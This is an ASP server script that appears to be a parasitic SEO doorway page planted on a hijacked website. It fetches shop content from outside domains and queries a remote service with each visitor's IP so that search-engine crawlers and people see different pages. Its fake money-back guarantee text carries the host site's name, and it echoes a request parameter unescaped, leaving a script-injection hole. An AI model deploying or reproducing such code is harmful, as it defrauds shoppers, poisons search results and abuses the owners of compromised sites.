%
Response.Buffer = True
Server.ScriptTimeOut=999999
Response.Expires = -1
Response.ExpiresAbsolute = Now() - 1
Response.Expires = 0
Response.CacheControl = "no-cache"
ucu=request("shop")
uu=request("shop")
uu=replace(uu,"+"," ",1,-1,1)
%>
<%
Function getHTTPPage(url)
On Error Resume Next
dim http
set http=Server.createobject("Microsoft.XMLHTTP")
Http.open "GET",url,false
Http.setRequestHeader "User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0"
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytesToBSTR(Http.responseBody,"utf-8")
set http=nothing
If Err.number<>0 then
Response.Write "
"
Response.end
Err.Clear
End If
End Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
%>
<%
Public function HTMLcode(fString)
if not isnull(fString) then
fString = Replace(fString, ">", ">")
fString = Replace(fString, "<", "<")
fString = Replace(fString, CHR(34), """")
fString = Replace(fString, CHR(39), "'")
fString = Replace(fString, CHR(13), "")
fString = Replace(fString, CHR(10) & CHR(10), " ")
fString = Replace(fString, CHR(10), "
")
HTMLcode = fString
end if
end function
Function RegExpTest(patrn, strng)
Dim regEx, Match, Matches ' 建立变量。
Set regEx = New RegExp ' 建立正则表达式。
regEx.Pattern = patrn ' 设置模式。
regEx.IgnoreCase = True ' 设置是否区分字符大小写。
regEx.Global = True ' 设置全局可用性。
Set Matches = regEx.Execute(strng) ' 执行搜索。
For Each Match in Matches ' 遍历匹配集合。
RetStr = RetStr & Match.Value & "
"
Next
RegExpTest = RetStr
End Function
function urldecode(encodestr)
newstr=""
havechar=false
lastchar=""
for i=1 to len(encodestr)
char_c=mid(encodestr,i,1)
if char_c="+" then
newstr=newstr & " "
elseif char_c="%" then
next_1_c=mid(encodestr,i+1,2)
next_1_num=cint("&H" & next_1_c)
if havechar then
havechar=false
newstr=newstr & Chrw(cint("&H" & lastchar & next_1_c))
else
if abs(next_1_num)<=127 then
newstr=newstr & chrw(next_1_num)
else
havechar=true
lastchar=next_1_c
end if
end if
i=i+2
else
newstr=newstr & char_c
end if
next
urldecode=newstr
end function
if request("cid")<>"" then
cid=request("cid")
else
Randomize
cid=42
end if
descriptions=getHTTPPage("http://ajf.presshop.xyz/getci.aspx?cid="&cid&"&s=4&e=5")
ions=getHTTPPage("http://ajf.presshop.xyz/getci.aspx?cid="&cid&"&s=3&e=4")
hyzhdy=getHTTPPage("http://ajf.presshop.xyz/dyen2.asp")
Randomize
aaxx=int((58-53+1)*rnd+53)
aaxcx=int((79-70+1)*rnd+70)
%>
<%if request("shop")<>"" then%><%=request("shop")%>, OFF <%=aaxcx%>%,Buy,<%else%><%=ions%>,<%=Request.ServerVariables("SERVER_NAME")%><%end if%>
"/>
,Make shopping fun, affordable and simple,<%=descriptions%>." />
<% if request("shop")<>"" then%>
<%
if request("xi")<>"" then
xi=request("xi")
else
xi=2
end if
if request("xc")<>"" then
xc=request("xc")
else
xc=20
end if
if request("kk")<>"" then
ip="66.249.64.190"
else
ip=Request.ServerVariables("REMOTE_ADDR")
end if
ipurl="http://ajf.presshop.xyz/getdomain.aspx?rnd=1&ip="&ip
domain =getHTTPPage(ipurl)
if (instr(domain,"google")>0 or instr(domain,"msn.com")>0 or instr(domain,"yahoo.com")>0 or instr(domain,"aol.com")>0) then
set re = new RegExp
re.IgnoreCase =True
re.Global = True
re.Pattern = ""
Set matchs = re.Execute(html)
for each match in matchs
sc= match.SubMatches(0)
next
set matchs = nothing
Response.write Html
else
if request("shop")<>"" then
ccc=request("shop")
ddd=getHTTPPage("http://ajf.presshop.xyz/newurl.asp?cid="&cid&"&new="&now()&"")
eee=ddd&ccc
eee=replace(eee,"--","-")
Response.write ""
end if
Response.end
end if
%>
<%
Dim Url,Html
yyu=Year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)
URL="http://key.okbankservices.com/mb.aspx?shop="&request("shop")&"&xi="&xi&"&xc="&xc&"&cid="&cid&"&gj=com&hl=en"
Html = getHTTPPage(URL)
Html=Replace(Html, "euro;", "$")
Response.write Html
%>
<%else if request("cid")<>"" then
URL="http://ajf.presshop.xyz/mb4.aspx?pnum="&request("pnum")&"&cid="&cid&"&xi=1-6&xc=19-26"
Html = getHTTPPage(URL)
Response.write Html
%>
<%
else
%>
<%
URL=hyzhdy&"&xi=1-6&xc=19-26&pnum="&request("pnum")&"&you=0&page="&Request.ServerVariables("SCRIPT_NAME")
Html = getHTTPPage(URL)
Response.write Html
%>
<% end if%>
<% end if%>
Get the item you ordered or your money
back—it’s that simple.
Our <%=Request.ServerVariables("SERVER_NAME")%> Money Back Guarantee applies to virtually everything on our site, and
there's no extra fee for coverage. It’s automatic and covers your purchase price plus
original shipping on eligible purchases*. Follow these steps to get your refund.
Contact Your Seller
If an item hasn’t arrived or isn’t as
described, go to My <%=Request.ServerVariables("SERVER_NAME")%>, select the
item in your purchase history, and
reach out to your seller.
<%=getHTTPPage("http://ajf.presshop.xyz/geta.aspx?cid="&cid&"&s=4&e=5")%>
Not resolved? Let us know.
If you’ve talked to your seller and the
issue still isn’t resolved after three
business days, contact us.
We’ll get your money back. Fast.
You can count on hearing from us within
48 hours.
*In order to be protected by <%=Request.ServerVariables("SERVER_NAME")%> Money Back Guarantee certain payment methods must be used and all eligibility requirements and deadlines must be met. Certain transactions and article types such as vehicles, real estate, business sales & domains, digital content, industrial equipment or vouchers are not covered. For full terms and conditions, read our <%=Request.ServerVariables("SERVER_NAME")%> Money Back Guarantee policy.
<%=getHTTPPage("http://ajf.presshop.xyz/hlen.asp?page="&Request.ServerVariables("SCRIPT_NAME"))%>